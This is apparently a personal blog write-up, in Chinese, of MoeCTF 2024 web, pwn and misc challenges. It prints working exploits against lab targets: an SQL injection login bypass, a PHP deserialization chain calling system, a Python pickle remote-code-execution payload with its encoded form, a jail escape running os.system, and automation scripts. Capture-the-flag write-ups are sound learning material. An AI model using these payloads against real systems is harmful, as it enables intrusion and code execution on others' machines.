前端的后缀绕过

直接去访问

静态网页

点击换装抓包得到提示

电院_Backend

sql万能密码

1
123456@qq.com' || 1==1 --+
APACHE

勇闯铜人阵

算一个简单的游戏题吧,不过要写自动化的脚本才行,除非你手速过快

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import re
direct={1:'北方',2:'东北方',3:'东方',4:'东南方',5:'南方',6:'西南方',7:'西方',8:'西北方'}
session=requests.session()
url="http://10.96.9.36:49274/"
payload={"player":"qetx","direct":"弟子明白"}
res=session.post(url,data=payload)
res=re.search(r"<h1 id=\"status\">\s*([\d,\s]+)\s*</h1>",str(res.text)).group(1)
if ',' in res:

res=res.replace(' ','').split(',')
print(res[0],res[1])
payload["direct"]=direct[int(res[0])]+'一个,'+direct[int(res[1])]+'一个'
else:
payload["direct"] = direct[int(res[0])]
for i in range(0,5):
res=session.post(url,data=payload)
try:
res = re.search(r"<h1 id=\"status\">\s*([\d,\s]+)\s*</h1>", str(res.text)).group(1)
if ',' in res:
res = res.replace(' ', '').split(',')
print(res[0], res[1])
payload["direct"] = direct[int(res[0])] + '一个,' + direct[int(res[1])] + '一个'
else:
payload["direct"] = direct[int(res[0])]
except:
print(res.text)

PYTHON

垫刀之路04: 一个文件浏览器

目录穿越秒了

从零开始的 XDU 教书生活

代码审计(其实也不算

直接上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import json
url="http://127.0.0.1:53830/"
session=requests.session()
def login():
uname = 10000
password = 10000
payload={"uname":uname,"password":password}
session.post(url+'/fanyalogin',data=payload)
print("登录成功")
def get_name():
import re
res = requests.get(url+"widget/sign/pcTeaSignController/showSignInfo1")
re = re.findall(r'"name":"(\d*)"', str(res.text))
with open("name.txt", 'w') as f:
for name in re:
f.write(name + '\n')
print("获取用户名字典成功")
def get_flag():
with open("name.txt",'r') as f:
for i in range(0,1024):
print("第{0}用户已签到".format(i))
name=f.readline().replace('\n','')
# print(name)
payload={"uidAndAid":name+'_17',"status":1,"name":name,"activeId":4000000000000,"remark":None}
# print(payload)
session.post(url+"widget/sign/pcTeaSignController/updateSignStatus2",data=payload)
flag=session.get(url+"widget/active/endActive")
print(json.loads(flag.text)["errorMsg"])
login()
get_name()
get_flag()

PYTHON

思路大致就是先去登录,然后获取学生的用户名,然后帮学生签到,签到完成后结束签到就能获得flag(整个脚本可能要运行5分钟左右

ImageCloud

SSRF,用外网去访问内网的文件

内网的端口需要自己5001-6000爆破一下

垫刀之路05: 登陆网站

万能密码直接登录

垫刀之路06: pop base mini moe

存粹的反序列化考点,私有属性赋值只能在自己的类中进行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

class A {
// 注意 private 属性的序列化哦
private $evil;

// 如何赋值呢
private $a;
function __construct(){
$this->a = new B();
$this->evil="env";
}
function __destruct() {
$s = $this->a;
$s($this->evil);
}
}

class B {
private $b;
function __construct()
{
$this->b="system";
}
function __invoke($c) {
$s = $this->b;
$s($c);
}
}

$a=new A();
$a1=serialize($a);
echo urlencode($a1);
PHP

这边不能用eval,要用system,用eval会提示没有这个方法

垫刀之路07: 泄漏的密码

直接访问/conole输入pin码

who’s blog?

直接fengjin的ssti注入一把梭

PetStore

代码审计,一般这种题建议先自己在本地搭docker慢慢打,然后打出来了直接去用exp

追踪import路由

发现存在pickel反序列化,要考虑能不能用反序列化的漏洞,看到反序列化过程中利用了try语句说明我们的报错回显是不可能了,那就是没有直接回显了,题目也不能出网,我们接着看下去发现一个路由

这个路由仿佛提供了回显的点,我们只要想办法把我们的回显写入pet.name中就行,直接上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import pickle
import base64
import os

class B(object):
def __reduce__(self):
return (eval, ("__import__('os').popen('env').read()",))
class Pet:#class结构要与源码中的Pet结构一样,因为在反序列化之前有一个isinstance的检测
def __init__(self, name, species) -> None:
self.name = B()#回显写入pet.name中
self.species = pickle.loads(pickle.dumps(self.name))
self.uuid = "1"

def __repr__(self) -> str:
return f"Pet(name={self.name}, species={self.species}, uuid={self.uuid})"

pet=Pet(1,2)
a = pickle.dumps(pet)
print(base64.b64encode(a))
#gASVegAAAAAAAACMCF9fbWFpbl9flIwDUGV0lJOUKYGUfZQojARuYW1llIwIYnVpbHRpbnOUjARldmFslJOUjCRfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdlbnYnKS5yZWFkKCmUhZRSlIwHc3BlY2llc5SMAJSMBHV1aWSUjAExlHViLg==
PYTHON

本地运行结果(远程忘记截完图了我太懒了hhhh

PWN

NotEnoughTime

这一题我在新生赛上做过

直接上exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
p = remote("10.234.19.164",60629)
# print(p.recvuntil(b'='))
begin=p.recvuntil(b'=')
p.sendline(b'2')
for i in range(0,21):
ques=p.recvuntil(b'=')
print(bytes.decode(ques))
express=re.search(r'(\d.*?)=',bytes.decode(ques).replace(' ','').replace('\n','')).group(1)
print(type(express))
express = express.replace('\n', '') # 将 ÷ 替换为 /
print(express)
value=int(eval(express))
if value<0:
value=value-1
print(value)
p.sendline(str(value).encode())
print("第",i)
print(p.recvuntil(b'}'))
PYTHON

MISC

ez_F5

不用多说直接f5隐写,上工具

得到output.txt里面就是flag,其中-p参数后面的密码隐藏在jpg文件的详细信息里,用base32加密了

readme

知识点就是proc虚拟目录读取加载进程序的文件即使程序被删除了

moejail_lv4

1
[klass for klass in "".__class__.__base__.__subclasses__() if klass.__name__ == "BuiltinImporter"][0].load_module("builtins").__import__("os").system("ls")
STYLUS

具体可以参考https://stackoverflow.com/questions/28100471/how-eval-is-not-dangerous-in-this-example


2024-MOECTF
http://www.qetx.top/posts/14919/
作者
Qetx.Jul.27
发布于
2024年8月10日
许可协议